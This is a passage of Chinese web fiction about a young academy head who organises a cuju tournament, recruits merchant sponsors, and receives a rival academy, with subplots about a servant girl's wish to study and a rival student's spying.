天生就不可能和童淳他们走同一条路。 也绝不可能有成为这书院学生的一日。 更遑论站在风口浪尖,任由这日月旋转的肆意与张狂…… 读的书越多,小花便越是不解,她不懂,为什么这世上男子和女子都是人,差别却那样的大,男子能自由的独来独往,做这样那样的事情,随意任性,可女子却只能守在闺房,寸步不移,不断避让…… 她已经从一个小小的奴婢变成了厨娘帮工,从大字不识一个到读懂“诗百千”,贪婪和不甘却越加滋生,妄图拥有更多。 为什么女子就不能把握住自己的命运呢? 她也想读书,也想成为书院的学生,庆安可以。 她,为什么不行? 这疑惑遍布她的脑海之中,难以消停。 而沧澜山脚下,另一个书院的学生,同样也站在院子里,静静聆听着这些歌曲。 思考着未来。 身后的门窗突然被推开,郭胜开的妹妹探出脑袋,望着天上的满月,艳羡道。 “哇,这歌声好像是从月亮之中传出来的一样,空灵极了!哥哥,是你们书院里有女子在唱歌吗?” “不清楚,许是山长请来的客人也说不定。” 郭胜开背对着回答道,想起什么,将怀中的琉璃镜掏出,递给了母亲和妹妹。 “这是我考完府试之后,山长给的奖励,你们收着,拿去用。” “如此贵重?这……” 两个人手捧着那面镜子,均被唬的不行。 这琉璃镜,听说可是上层贵族才有的东西,一个便能卖到几百两银子,书院竟拿这个随手赏人? 这也太奢侈了些? “要不,我们将这镜子卖出去吧……” 这样哥哥明年的学费便不必愁了! 郭胜开转过身,心疼的摸了摸妹妹的脑袋。 “不必,这东西物价高,以咱们的路子,未必能卖出个好价钱,不如先暂且留着。你如今年纪也大了,快到嫁人的时候,回头拿来添妆,也是一桩美事。” “哥哥!”她满脸羞涩,垂眸不语。 郭胜开笑了笑,“至于学费的事,你们不用担忧,山长有勤工俭学的通道,外加这次我还额外得了三两的银子,等以后拿了更多的奖励,留给家里,慢慢的,咱们家也就过起来了。” 郭母听着儿子列出的种种计划,忍不住低头落泪。 自丈夫死去后,家里所有人便宛如失去了所有希望,不敢再提任何未来。 因为连饭都吃不上时,人是没有心思再去思考其他的。这还是头一次,她听到自家儿子有了对未来的希冀。 虽渺小,却囊括了她们所有人。 一家子狠狠抱在一起,痛哭了一场,再三感谢了华夏书院的恩情,方才罢休。 今夜,无数人听着这歌声,心绪起伏,没有入睡。 而今夜,伴随着这旋律响彻整个河南府的,还有一首华夏书院山长写就的诗词。 “莫听穿林打叶声,何妨吟啸且徐行……” 金銮殿上,皇帝反复吟诵着这首词,不断品鉴着,越看,越是喜欢。 “这小子,哪里有像他说的那样不善诗词,明明写的很好嘛!虽不按标准的格式韵律去走,却别有一番风味,浑然一体,潇洒畅快,倒是令我也开了眼界!” 徐常侍躬身站在一旁,小心翼翼的观察着上面的脸色,笑盈盈回复道。 “可不是么,听说这词还是在潘阆先生逼迫之下完成的,刚开始,那童启还不愿书写,再三推辞,最后不得已,才一挥而就。如此贤才,实在是难能可贵啊。” 这年头,大家都极其喜欢互通书信,写诗词唱和,就类似于现代的朋友圈那般普遍。 因此,童启这词刚写出来,潘阆便立马抄写了一份,分享给了徐常侍。 不少京城内的大儒也有收到,均是喜爱非常。 甚至还有人抄写到那扇面上,百般安利给其他人。 在童启还未知晓的情况下,他的诗名已响彻整个大奉朝。 皇帝乍然听到潘阆的名字,依旧不太喜欢。 可冲着手中的好文字,也不愿多说什么了,只感叹道。 “唉,这华夏书院的山长的确是个有大才的,既具文人的风骨,又有着一心为朝廷的心,即便有时候说话促狭,可那也是因为年轻气盛,不懂事,若天下皆是这般贤才,我也不必再焦虑百年之后的事情了。对了,听闻他手下第一批的学生们皆已中了府试?最快的话,站到我面前,也得是后年了吧……” 一旁的徐常侍低头称是,“乡试和会试皆是三年两届,怎么也得到后年了。” “可惜啊,朕苦等贤才,也不知何时才能看到这童山长的影子了,但愿他的学生们争点气,莫败坏了老师留下的好名声才是。” 徐常侍跟随着赔笑两下,见皇上眼中感慨,不由心神一动。 看来他这好友潘阆的确是走对了路。 以如今皇上对他的态度,即便是入朝为官,只怕也难以建树,倒不如去那什么华夏书院当先生,若有朝一日,这书院一举飞黄腾达,教出个好徒弟来,不也就如同那龙胜书院一般。 挺直了腰杆么? 届时什么罪名之类的,想来也很容易赦免了。 他默默给自家好友争取着印象分,深藏功与名。 暗地里,则推波助澜,给童启在文坛上的地位,再次加了一把大火。 第39章 第39章(加更)招募赞助 作为文坛之中的后起之秀,童启的声名鹊起,很快便引起了不少 人的注意。 其中,便有上次答应了蹴鞠大赛的龙胜书院斋长,冯子川。 他将在州府中见到童启,且答应了对方提议的蹴鞠赛一事,告知给了山长宗广济。 对方喜不自胜。 宗广济出身自鲁地大儒仕宦之家,乃前朝有名的宗家之后。光是族中当过官的,便有上百人! 族内老少皆读过书,识过字,盛时,据说就连他们手底下的奴婢、侍从们也各个诵读《诗经》,做得一手好文章! 可传到宗广济这一代,声名已有些摇摇欲坠。 他祖父是龙胜书院第一届山长,酷爱教人读书识字,可宗广济本人,却是个比起文来更爱武的。 从小便梦想学习自己的偶像李白,仗剑走天涯,奈何被俗世所牵绊,这才不得不硬着头皮,赶鸭子上架当了山长。 实际上,他平日里很少管书院内的事,都是由各斋长、教授一起商量着负责,唯一喜欢的便是蹴鞠,经常带着书院里的学生、教授们去踢一场,大汗淋漓,畅快无比。 可惜自当今圣上隐隐透出一些重文轻武的风声后,踢蹴鞠的人慢慢就少了很多。 再加上不少学生嫌弃脏兮兮、汗津津的,影响文人风度。 如今想凑齐一个队,已经是非常困难。 没想到华夏书院的山长竟也会喜欢,还要搞什么蹴鞠大赛,他顿时有种寻到了久违知己的感觉! 当下,便恨不得连书也不教了,亲自带队去伊川赴约。 冯子川忙将人给拦了下来,道,“话不是如此说,山长您这次带队前去,可不能只是为了踢蹴鞠一事啊,更有的,还得想办法摸清这家书院背后的路数。” “路数?”宗广济一脸茫然。 “没错,您想想看,他不过一个十一岁的孩童,充其量也只是个秀才,却能在短短一年的时间,将华夏书院打出名声,成长到如今跟我们差不多的地位,这背后说是没有人,又怎么可能呢?如今许翰林在朝廷内,正缺一个往上走的功绩,若能将这书院收为三皇子名下……届时增添了人才势力不说,倘有一日,对方得登大宝,我们岂不是鸡犬升天?” 宗广济惊了一跳,狠狠皱起眉头,怒斥道。 “你这话说的奇怪,许翰林需要功绩,跟我们又有何关系?他是咱们的学生不假,可出了书院,自有自己的造化,你不要乱插手其中!尤其是皇储争位,岂是我们可以置喙的?况且这世界上也万万没有拿别人的东西当做人情送出去的说法!不然传出去,我们宗家的面子以后往哪里放,岂不是要说我倚老卖老,欺负小辈?” 他言辞拒绝了这提议,冯子川眉头微皱,可也并没有再劝。 他私下里偷偷找到山长的徒弟柳川,嘱咐道。 “你是知道的,我一心为了咱们书院。那许翰林对于我们何等重要?他若闯上去了,以后你们的科举之路,不也就顺畅许多?山长仁慈宽厚不假,可这世上多的是心软善良而死于非命的人!三皇子手下人才济济,今日可以看重我们龙胜,他日,也同样可以看重文昌。我们需要的,是一件难以磨灭的功绩,以保证书院千秋万代的根基!还有什么,是会比从龙之功,更稳固的呢?” 柳川被说的心头火热,顿时答应了下来,“您放心,我一定不负师命!” 原本他便和这华夏书院有着私仇,府试硬生生被挤到了第四不说,就连原本说好的亲事,也因此吹掉了。 这次新仇旧恨加一起,不让对方出出血,怎么能行? 宗广济不知道暗地里发生的事情,点了几个蹴鞠好手后,便带着自己的徒弟们以游学的名义,前往了伊川县,参加蹴鞠比赛。 柏将军那边同样也收到了帖子,他在完成救灾任务后,便回到了京城。 整日里喝酒无聊,站在金銮殿上看文臣们吵架,陡然见到还有这样好玩的事情,怎么可能错过? 索性当即点了人,告假离开。 童启担忧着来的人太多,山上的宿舍楼会住不下,于是和沧澜村村长童家岙商量,让新来的宾客们都住在村子里。 每家每户想办法腾出几个房间来,供他们居住,费用就按照县城里客栈的价钱,统一结算,至于三餐,则不必管,书院里自会负责。 村长连忙推拒道,“不过几个房间而已,怎么用得着收钱?” 自书院建在这里之后,又是给棉花种子,免费教导,又是买学田,经营灌溉的,整个村子里,就没有少过进项! 如今村民个个富了起来,哪个不感激童小子? 光是今年建房子娶媳妇的便有十几个,不过帮着招待一些客人而已,有什么可麻烦的? “亲兄弟明算账,该给的还是得给。” 顺利解决完食宿的问题,童启开始思考招募赞助商的事。 这么大一个盛事,怎么可能让他一个人掏钱呢? 不往里赚就得了,倒贴?那必不可能!! 于是,他再次请人叫来了清虚子和全胜镖局的总镖头刘明皓,麻烦他们再走一趟。 “不是我不愿意去,山长诶,上一次您可是有着琉璃珠子作为诱饵的,这才能请来那么多的权贵!这次若只是凭借我的口舌,又怎么可能叫的动?况且这些商人最是捧高踩低,个个不见兔子不撒鹰的主儿,让他们到场,需得有什么吸引了他们的好处才行。”清虚子苦哈哈的说道。 “这你便不懂了吧……” 童启撸起袖子,当场给清虚子两人上了一场营销课。 “买卖最重要的是什么?是造势!即便我手里什么都没有,难道就叫不过来人了吗?去之前,不必求爷爷告奶奶,先把风声放出去,就说是万商商会的冯会长要来,然后借此,通知给利川银楼的少东家。他和冯会长最是面和心不和,确定了对方要去,哪怕不知道是什么,也定然会参加!等他来了,你再告知给冯会长和锦绣阁的李姑娘,说是利川银楼已经确定了要参加,他们听闻后,必然也会出席。然后你再借着这三位的名头,去请其他人,便好请了!” 清虚子和刘明皓听得目瞪口呆,头一次知道请人还能有这样的请法,忙追问道。 “可这不是骗人么?若后期他们彼此通了话……” “这怎么能是骗人呢?你就说最后人来了没有?我们只是提前预判了他们的决定而已,不算作假。” 如此这般,将到时候该如何如何说仔细讲解了一遍,两位早已听得目眩神迷,整个学“废”了。 私下里,甚至都忍不住跟自己的家人蛐蛐道,也就童启是个教书的,不然若是个骗子,或者商人,只怕能把人溜得团团转,还不自知呢! 河南府,依旧是老地方,依旧是老位置。 闻名遐迩的百鹤楼二楼,再次人满为患。 装潢富丽的牛车将酒楼门口挤得水泄不通,少东家带着店小二,擦着汗指挥调停不断,见到清虚子进门,顿时双眼亮起,心内狂跳不止。 作为少有的知道琉璃内情的人之一,他上一次见到这位道长,还是对方拿出了琉璃的制作方法,令整个河南府的银钱翻了几番的时候。 这一次,又会是何物呢? 也会是像琉璃那般么? 他忍不住抬头视线一路跟随着上了二楼,索性也不指挥了,直接将所有都交给了店小二负责,自己则悄然混了进去。 不同于上一场清一色的权贵,难以接近,这一次的二楼大厅内,可热闹多了。 万商商会的冯会长,利川银楼的少东家,锦绣阁的李姑娘,还有几个点心铺子、甜水饮子的老字号,就连汪家绸缎庄,也参与了其中。 实际上,汪家来不来都无所谓,但凡是山长办活动,哪怕什么都没有,他也必定是支持的。 要多少给多少!倾家荡产也可以! 但童启说了,要给每个人以公平的机会,没办法,他只好跟随着一同参加。 维护治安的依旧是全胜镖局的人,两个人搭在一起已经算是老搭档了 ,这一次同样驾轻就熟。 “诸位午安,在下清虚子,乃是华夏书院的教书先生,这一次请大家来,是想向各位推荐一个稳赚不赔的买卖。” 稳赚不赔? 在场的几个老油条顿时嗤笑一声,倚在椅子里,调侃的看着这装神弄鬼的老道,并不言语。 清虚子也不气,所有有可能得到的结果,山长都早已经替他考虑清楚了,因此,他依旧按照原本的计划往下讲道。 “若我说,有这么一场盛会,能够召集最起码一万人,长时间停留在同一个地方四五个时辰之久,同时在场的还有安庆府侯爷、县令大人,以及当地有名的大儒……你们说,我若是在那里摆摊卖东西,能卖得出去吗?” 在场的商人皆是一愣。 一万人,长时间停留,让他们卖东西? 怎么可能?谁愿意待在那里啊。 若真有这盛会,卖什么卖不出去?这不是纯纯搞笑呢吗? “自然可以。”锦绣阁的李姑娘给面子的回应道。“不过,整个河南府怕是都没有什么人能召集起这么多人来吧。” 光是一个安庆侯,出行就要清场的程度。 他们会愿意跟普通百姓们,待在一个空间里? “我自有办法。” 清虚子斩钉截铁道。 他拿出蹴鞠大赛的座位分布图,一一展示给众人看,“我们华夏书院即将举办一场空前绝后的蹴鞠大赛,来的队伍已经确定了,有著名的柏大将军手底下的兵卒,河南府最厉害的民间蹴鞠队,以及东部龙胜书院的学生,安庆侯府家的小侯爷……届时还有当地的县令大人、柏大人一同参与致辞,所有百姓皆可进入观看,只要诸位掏一点点场地费,便能够让你们在里面随意摆摊,贩卖物品,你们看值也不值?” 这法子倒是从未听过,有点新鲜啊。 利川银楼的少东家沉吟了一下,问道,“什么东西都能卖吗?” “这就要看大家的商品定位了,毕竟观看蹴鞠赛,比赛才是正头,大家又喊又叫的,肯定甜水饮子要比银钗卖得好,但诸位不如想一想,即便这样的盛会之中卖不出多少东西,可能够让一万人知晓你们店的存在,你们店才是最优质的行业精品,这难道不是一场好事吗?” 清虚子压低声音诱惑道。 酒香也怕巷子深,这年头最重要的还是宣传。 没有人知晓,废再大的劲儿也没用,可若是名声斐然,不用开口,生意便会源源不断,络绎不绝。 锦绣阁的李姑娘不由心动了,她近日正和冯家绣坊在争几位绣娘,双方开价都不低,可那些绣娘们却仍旧在犹豫,不知道该选哪一家。 若此次能够借着这股东风,打出名声,那以后岂不是都不必争夺,便能够坐等绣娘上门? “听着倒是不错,可你所说的场地费,需要多少钱?” 清虚子袖子一揣,笑盈盈道,“目前只有六个商家位置,招完截止,我们需要确定你们所卖的不是同一件商品才行,不管卖什么,统一价格二百两银子起。到时候宣传、广告语,我们书院自会负责。” “两百两银子?你算什么东西,就敢收我两百两?不如去抢好了?” 旁边冯家绣坊的东家忍不住站起身冷哼一身,当即便准备要离开,“你们想被骗就被骗吧,我可不掺和,都说了穷书生,酸秀才,就他们这群文人能买得起什么东西?写一首诗词也不值当这么多,当我是傻子呢?” 不少店家也因为这高昂的报价而感到犹豫,纷纷退了出去。 到最后,竟然只有六七家留了下来。 百鹤楼的少东家见到这模样,忍不住插话道,“不知能否加我一个?” 刘明皓一脸惊讶道,“你这酒楼还需要宣传?” “嗨,多多益善嘛,谁也不嫌弃名声大不是?” 清虚子沉吟两下,虽不在计划之中,但也同意了。 锦绣阁的李姑娘同样在纠结。 二百两,那可不是什么小数目,怎么也得三四个月才能够赚回本来,冯家绣坊不舍得,她也不舍得啊。 可想起如今家里对她经营绣阁已经颇有微词,若拿不下这一次的绣单子,以后怕是都会失去话语权,她咬了咬牙,终究还是选择了赌一把。 几个人相继签约,约定了过几日便去现场看一看情况,然后便爽快的交付了银两。 此刻的小侯爷沈亦,同样也在家里跟父亲撒着娇。 “我不管,你必须给我找整个府城最好的蹴鞠先生来教授我们才行,这一次,我可是和柳三变他们一起参加比赛,若是输了,那可就真的是丢人丢大发了!况且还有龙胜书院和其他的人要来,父亲,你可千万得帮帮我啊!” 安庆侯端着茶碗,矜持的享受着小儿子的撒娇,听到这蹴鞠赛,也颇为感兴趣。 “蹴鞠先生我倒是能够给你请来,可队长又不是你,乃是汪启元那小子,你瞎操什么心呢?” “你不知道,汪师兄最近忙,他一个人哪里能管得了怎么多?所以就任命了我和戚风言担任小组长,各自管理请蹴鞠先生和后勤相关的事情,我现在手底下,可有二十几个人呢!怎么也得将此事办的漂亮才行吧!” 安庆侯捋了捋自己的胡须,心内暗自称了一句赞。 这汪小子倒是个人精,自己怕压不住,便干脆放权给其他揽事的,到时候即便出了事,也不必负责,不愧是敢将整个家业一股脑献给知府的狠人。 有着这人做领队,自己家傻儿子,哪里能够玩得过? 他点点头,也不拆穿,“既如此,那我便替你寻摸寻摸。” 要说童启任命的这两个小组长,性格那还真的是天差地别,管理方式也各有一套。 汪启元出身商户,下面皆是比他更强的小侯爷、谢君仪等人,若想争话语权那是绝对不好争的,于是他便想到了分势,将部分事情划分出来交给沈亦和其他人做,那么为了维护自身的合法权利,大家就会不约而同维护他作为小队长的意见,办起事来,反而配合度更高。 吴韧则是习惯了操心方方面面,他带领的学生们大多都没有多少时间和精力去了解关于蹴鞠的事情,于是,他便率先收集好资料,安排好一切计划,再许之以利,诱之以情,将所有成员召集起来,坦言道。 “若这一次能赢,我会将所有的奖励银钱一起平分,并且将自己的那份也分给大家。这些身外之物,并非什么重要的事情,重要的是这一次,我们应该拿出自己所有的能力来,让那些一贯看不起咱们的权贵们,好好清醒清醒才是!不然以后三年,岂不是一直要被他们压在脑袋上,抬不起头来?难道你们想以后吃饭都给他们让座吗?难道你们想以后即便考试排名靠前,也要对他们点首作揖么?咱们都是穷苦人家长大的,什么都怕,就是不怕辛苦,万丈高楼平地起,只要我们想做,这世界上,就没什么我们做不到的!” 大家被说的热血沸腾,个个鼓掌齐鸣道,“是极!是极!” 两边各自用着不同的方法,正式开始训练分组。 权贵这边不差钱,又是请蹴鞠教练,又是买饮料零食。 后勤部门一整个暴发户模样,每次训练,皆堆满了一大堆物品。 可往往训练不到一会儿,便瘫倒下来,嚷嚷着跑不 动了。 吴韧这边倒是挺好,乡野之家出身的孩子,能跑能跳,也肯狠得下心来训练,只是时间稀少,又没得钱请人指点,只能混乱着练。 他没办法,只得偷摸前往寻山长,请他帮忙出出主意。 童启笑盈盈道,“你为什么一定要从远处找呢,有时候远在天边,近在眼前。咱们书院的安保部门可都是以前从各大镖局、军队里退下来的好手,若问问他们,未必有什么是不擅长的吧?” 吴韧顿时醒悟,连忙拱手感激,然后去找继本叔帮忙了。 到最后,果然找到了一位姓吴的师父,是前朝给王爷府里专门踢蹴鞠赛的,靠着他帮忙指点,平民队的训练很快便跟了上去。 两边仿佛较着劲,谁也不服谁,一个比一个训练的狠。 即便夜深,依旧在大灯的照耀下,奔跑在操场之上。 有时候累极,直接草地上一睡,还是同窗帮忙送回的宿舍。 温叶辞看着学生们如此劳累,心下不忍道。 “他们不过是为了科举,何必要如此拼体力,去参加什么蹴鞠赛呢?山长,我不懂,既然阶级存在,那么将他们划分为两队,又有何意义?若是一起参赛,不是更容易磨合出感情么?” 童启站在看台之上,背着手望着下方奔跑的学生们,端的一副神秘莫测的模样。 “你认为学到最后,拼的是什么?脑力么?不,是心力和体力。他们若是风吹就倒,受到点挫折便一蹶不振,那么即便这科举路一路顺遂,也是白走。温兄,我们无法确保每个学生未来的官场都能够一帆风顺,官运亨通,一朝丞相才出几个啊?更多的,还是步入基层,亲自劳心劳力,去做平凡的事情。而这种事,只有他们亲自弯下腰,尝试过了,才会知晓是什么味道。” 而如今,便是给他们平等的制造这样的机会。 更何况,青春不就是这样吗? 只有一起奔跑过,一起撒过汗水,才能够拥有共同的回忆,产生真正的感情。 等以后老了,退休了,凑一起,也才有闲心抱着茶壶,看着窗外皑皑白雪,共同怅惘年轻时逝去的青春。 不是每个人都有一段幸福的童年的,但若是能拥有一段刻骨铭心的学院生涯,想来也不错。 足以治愈今后仕途上一切的不顺和失意吧。 几日的汗水挥洒,别说,还真的有用,起码如今书院内画风陡然一变,再没有什么爬几层楼便气喘吁吁的小胖子了,不少小胖墩都被带着减重了好几斤。 走起路来,飒飒生风,双眼发亮。 脑袋里也没空再去想其他的事情了,每天进了教室就是读书,进了食堂就是吃饭,去了操场就是练。 浑身上下都感觉轻盈了许多。 王世贞也是如此。若说以前她的伪装还多少能够看出来一些不同,稍显柔弱,那么现在,往外一站,基本上没人会怀疑她是个女的。 回去之后,和亲弟弟并立在一起,别说女气了,玉树翩翩、精壮有力,简直比王世昌更像王世昌! 第40章 第40章草莓成熟 时光进入到四月份,龙胜书院的山长终于带着学生们缓缓进入了河南府。 伊川县春耕刚结束不久,一片欣欣向荣之色。 华夏书院后山处。 童启正蹲守在温室大棚里,查看自己亲自种下来的植物种子。 上次系统开出的大礼包,四样植物,如今都已经相继进入了成熟期。 草莓和南瓜已经结了果,散发出独特的香气,倒是水稻和辣椒只怕还得再长一段时间,才好食用。 不知是不是系统给出的种子质量太好,亦或者是这古代的空气、土壤纯净无污染,这次种出来的草莓,个个硕大饱满,吸引了不少后山小动物的频繁光顾。 差点将他这塑料大棚都给挠出个洞来。 随手摘下一颗扔进嘴里尝了尝,的确香甜。 童启边巡视边拿过一旁的篮子,摘了几碟,将快要被刨开的大棚一角重新埋进土中,然后在门口处竖起一块木牌,上写着: 【实验基地,小动物勿入!】 虽简单,却隐隐透着几分童趣。 小花抱着手乖乖等候在不远处,也不上前,见到童启出来,这才连忙禀告道,“山长,龙胜书院的人来了。继本叔说请您去会客厅待客。” 哦?这么快? 距离约定好的蹴鞠大赛可还有一周的时间呢,竟然就来了? 童启拍拍掌心里的土,将篮子里采摘的几碟子草莓递到小花手里,说道,“帮忙送去厨房,中午给学生们都尝尝。” “是。” 小花好奇的接过那沉甸甸的篮子,这才知道原来山长在后山忙活了这么长时间,研究的,竟还是农学相关。 山长真的好喜欢种地啊,这是她见过的最喜欢种地的大人了! 以往那些官老爷们总是嘴上说着重视农桑,可是私底下却极其讨厌泥土,恨不得离佃户们八丈远,春耕时,也不过装模作样挖几锄头,或者吟诵点诗歌,便罢了,不像是山长,又是捣鼓棉花田,又是这神秘的大棚,偶尔还带着学生们一起下地。 这农田……当真这么有趣吗? 她明明也下过地呀,却只感觉到了苦和累,难道是下地的姿势哪里不对么? 侧过头偷偷打量着怀中红彤彤的果子,小花低下脑袋闻了闻,颇为好奇。 这东西她倒是从未见过,不像是菜,也不像是什么水果,香香的,感觉很好吃的样子。 一路抱着篮子回到了后厨,王厨娘见到这果子,十分惊异,问道。 “打哪儿来的?” “山长给的,说是中午给学生们加餐,让都尝尝。” “诶呦喂,这可是好东西!看着就好吃。”旁边的刘婶儿闻言凑了过来,馋的要死。 她家那小孙子,最是喜欢各种甜甜的果子,这东西看着新奇少见,一定很美味,若能拿回去,小孙子肯定喜欢。 说着,她便伸出手,想要拿两个回家去,却被王厨娘狠狠拍在手上,怒斥道。 “都说了是给学生的,你伸什么手?拿过去洗一洗,一会儿学生进来后每个人分两个,若有剩下的,再说。” 如今王厨娘可不是那个刚入书院时说一句话都要看看眼色的人了,她算是童启第一批买进来的老人。 虽是奴契,却颇得童母看重,掌管着整个厨房的进出流水,骂起人来,底气十足。 刘婶被打的缩回手,口中念念叨叨,颇为不服。 “学生们都是吞金兽,等他们吃完,哪里还能有剩下的啊。” 她小声嘟囔着,见到王厨娘拿眼睛横了她一下,顿时不敢再言语,忙抱着草莓篮子去水下清洗。 实际上刘婶并不是书院里招聘过来的厨娘,只是因为她侄女这两日生了病,所以暂时来替工。 然而一进来后,她便不想走了。 整个河南府,哪里还能有比这华夏书院更好的去处? 每日吃得好、用得好不说,东家也格外仁慈体贴。学生吃剩下的菜品,不仅允许她们带回家,就连偶尔有什么学生福利,她们也能蹭上个一两个的,若是能够长长久久的留在这里就好了。 刘婶一边洗着草莓,一边将视线滴溜溜转到了王厨娘身边的小花身上,试探着问向一旁的王婶道。 “诶,那王厨娘身契在山长手里,小花的应该也在吧?她以后,会是山长的填房么?” “胡说八道什么呢?” 王婶被这话唬了一跳,连忙道,“山长那是什么身份,岂是咱们这种下人可以高攀的?小花的身契早就被山长还给王厨娘了,说是允许自由婚配,并不管。” “哦……这样啊。” 刘婶眼睛转了两转,心底里有了个好主意。 她家那小孙子最是聪慧可人,刚好还没定亲,这小花虽身份低贱些,年龄大了点,可好歹一张脸长得还不错,且母亲又权力大,管的人多,若是能聘回自己屋里,这不就成了姻亲? 届时再想要留在书院,也就顺理成章了。 心下想着,这几日,她便对小花格外讨好起来,同时暗暗挑剔着这女孩子当自己的孙媳妇是否合格,伺机找机会,与王厨娘说出此事。 小花是多么伶俐的一个人? 见到情况不对,便顿时猜出了三分,既是怒,又是怕。 怒的是这刘婶心思不正,竟然敢将主意打到她这几岁的孩童身上! 怕的则是自己母亲真的会动摇。 毕竟她了解王厨娘,对方一辈子最介怀的便是这奴籍,一心想 着让自己女儿脱离,嫁给良民,方算是挣脱这泥沼。 可小花不愿,她喜欢如今这日子,看过了更美的风景与天地后,又怎甘心重新回到那围着一个男人和锅台转悠的日子呢? 铤而走险之际,一个大胆的想法,缓缓浮上了心头。 而此刻,操场上,吴韧正带着二队的蹴鞠球员们蹲守在草坪上,练习着运球。 远处一句“小心!”,破空飞来一只高速运转的藤球,直冲其面部而来,吓得吴韧整个人本能的僵硬在原地,幸而被旁边的常仕进拉了一把,这才勉强闪避过去。 “喂,你们没长眼啊?这踢球哪里有专门往人脸上踢的?” 二队的成员们纷纷愤怒着向前质问道。 整个操场霎时被这动静给吸引了过来。 谢君仪转过身,抱着球好奇的打量着两边的人员。 只见那草坪边缘处,一位穿着白色长衫的少年正带着一群年纪相仿的书生站在那里,手上还掂量着几个藤球,笑的挑衅十足。 “不好意思啊,没看见那里有人,诶呀,这不是我们大名鼎鼎的府案首嘛,传说中只差一个院试,便能凑齐小三元的天才人物!你怎么也不小心着点,回头若是被砸中了脑袋,上不了考场,岂不可惜?” 明晃晃的恶意,激的常仕进当场撸起袖子就想揍过去,连忙被一旁的杨舟万给拦了下来。 “别理他!他是龙胜书院的柳川,这次被压在府试第四的那位。” 那又怎样? 常仕进不忿的看过去,见到杨舟万指了指东边,这才想起这位柳川,似乎就是龙胜书院山长的嫡亲弟子。 南阳柳家。 同样也是柳三变家里的远亲,真正的书香望族。 以对方的身份,若想要找事,他们压根没有还手之力。更何况如今即将要和他们龙胜打蹴鞠赛,若赛前发生了争执,岂不是令山长为难? 也是他们作为东道主的失职。 可强行压下吧,又未免太过憋屈。 碰巧隔壁的谢君仪探头探脑听见了他们的议论,恍然大悟道。 “哦,原来就是他啊?我还当是谁,原来是前御史家的人!” 他的声音不加遮掩,直直传入柳川的耳中,带着一股贱里贱气的戏谑。 “看来南阳柳家也不成了啊,自家孩子苦学七八年,还不如咱们仅仅只学了一年的寒门子弟考得好,真是可悲可叹啊!第四?啧啧啧,就这成绩排名,你还有心情操心吴韧呢?要我说,即便他明年不上场,你前面不也还排着三位呢吗,除非你把他们脑袋都给砸了,估摸着还有一争之力吧!” 一众学生忍不住笑出了声。 柳川整张脸渐渐冷了下来,问道。 “你又是何人?” 谢君仪等的就是这句话,忙上前行了个不规则的礼,吊儿郎当道,“在下琅琊谢氏谢君仪,见过兄台!哎呦,我给忘了,你出自柳家,按理说应该是听过我的大名的,怎么,这次又想参我了?随便参,尽管参!用不用我将家主的名字一起报给你,好一劳永逸啊?” 提起这个,倒有一桩公案要讲。 南阳柳家,作为前御史,最出名的,不是什么状告昏官,上书谏言之事,而是联合其他权贵,屡次上书辱骂谢家庶子夜游道观,和狐朋狗友在观中纵火烤肉之事!妄图以此,阻拦圣上招纳谢家女子入宫,理由便是其家中子弟不敬神明,品行败坏! ……就问离不离谱? 你一届御史,好好的不去管贪官污案,紧盯着我算什么东西? 大神打架,小鬼遭殃,为着这,他那亲爹差点没把他给打死,以正门风。 这事整个京城都有所听闻,让他丢了好大的脸!也是清虚子始终对他没什么好脸色,认为完全是个纨绔子弟的真正原因。 柳川冷哼一声,自觉心虚,不做理会。 他阴斜着眼从吴韧身边擦肩而过,小声道。 “你如今倒是有人撑腰了,回头赛场上遇到,可别害怕,千万要小心才是。下次,我可不会再这么手下留情了。” 说罢,他带着人转身离开,前往会客厅,面见山长。 吴韧沉着脸色,看了眼方才替他出头的谢君仪,拱手道了个谢。 对方摆摆手,没有回应。 他才不是为了那些平民呢,不过是找回一口气罢了,虽身为谢家子,从小被参的不少,可这一桩却是他感觉最冤的! 如今好不容易遇到昔日的仇人,不报复回去,岂不是可惜了对方故意留下的口子? 何况他从来看不惯有人比他还横,这里可是华夏书院啊,牛什么牛? 压根不知道双方学生已经提前见了面,还有着种种旧仇。 会客厅内,童启正跟龙胜书院的山长宗广济寒暄着。 对方长相富态,是个三四十岁的健壮男人,生机勃勃,一见到他,便满脸的热情,道。 “哎呀,这便是华夏书院的童山长吧?久仰久仰,实在是少年出英才啊!如此年轻俊秀,后生可畏,后生可畏呀!” 童启谦虚的行礼道谢,双方坐下细聊,得知潘阆先生也在此处任职后,他分外惊讶道。 “哦?潘阆先生竟也愿意出山了?想我当初在京城科考时,还有缘和他见过一面,当时邀请他去我们书院担任职位时,他还斩钉截铁,道那并非是他的志向,没想到啊,兜兜转转,竟然来了你们书院!还是你有办法啊!” 门外躲着的潘阆忍不住以袖遮面,转身离开。 童启:??? 还有这事? 他笑了笑,故作谦卑状,“只是恰逢其时罢了。” “诶,这便是过度谦虚了。你那诗词我也听过,写的确实是好!换我,也必然是想要来你这里共同增补进益的,我能理解!这不,一听说是你要举办蹴鞠大赛,我立马便带着人赶了过来,就是想让学生们跟着你,多沾沾文气,若能学个一词半句的,以后科考,也就不用愁了。” 跟我学诗词? 那你怕是学错了…… 童启哈哈两声,难以应对这过度的热情与吹捧,连忙转移话题道。 “关于蹴鞠赛的相关事宜我已经统一告知给了温先生,后续的一切,将由他来进行交接。宗山长,您放心,这一次的吃住我们书院会统一负责,若是孩子们想温习功课,我们也特意收拾出了一间课室来,供你们任意使用。只希望你们能够在伊川待得愉快,待得舒适,若有什么需要的,尽可说出来,我们定竭尽所能。” “好说好说,咱们友谊为重,赛出风采,赛出水平,只要两个书院能够共同进步,截长补短,便是好事,以后多多走动,也更方便交流熟悉嘛。” “是极。” 童启点点头,带着书院内负责各处的人跟大家一一见礼。 之后,便将龙胜书院的老师、学生们均安排到了山下“民宿”中。 吃饭嘛,倒是仍旧一起,都在大食堂内。 正好赶上今日的草莓供应,宗山长也不由尝了几个,赞不绝口。 龙胜书院的学生、先生们暗暗观察着,将这里的一切,与自家书院做着对比,尽管嘴上不愿承认,可当他们见到那恢弘大气的食堂,可口美味的菜色,就连食物餐盘也是不限量,随取随收时,心里的天平早已经不自觉倾倒,产生了羡慕之意。 倒是柳川没忘记自家斋长给的任务,吃罢饭,便在书院里闲转了起来。 东摸摸,西逛逛,巡视着有没有什么奇怪的地方。 越逛,他心中的疑问也不由越多。 这书院内装潢精致,许多地方都与别处不同,且 不说那什么雷电照明,只高大的院墙,深不透风,便令人觉得蹊跷,像是在图谋什么一般。 不过一个书院而已,犯得着捂得这么严实么? 除非是在遮掩什么东西! 可问到其他人,他们却像是完全没有感觉似得,压根没觉得哪里不对。 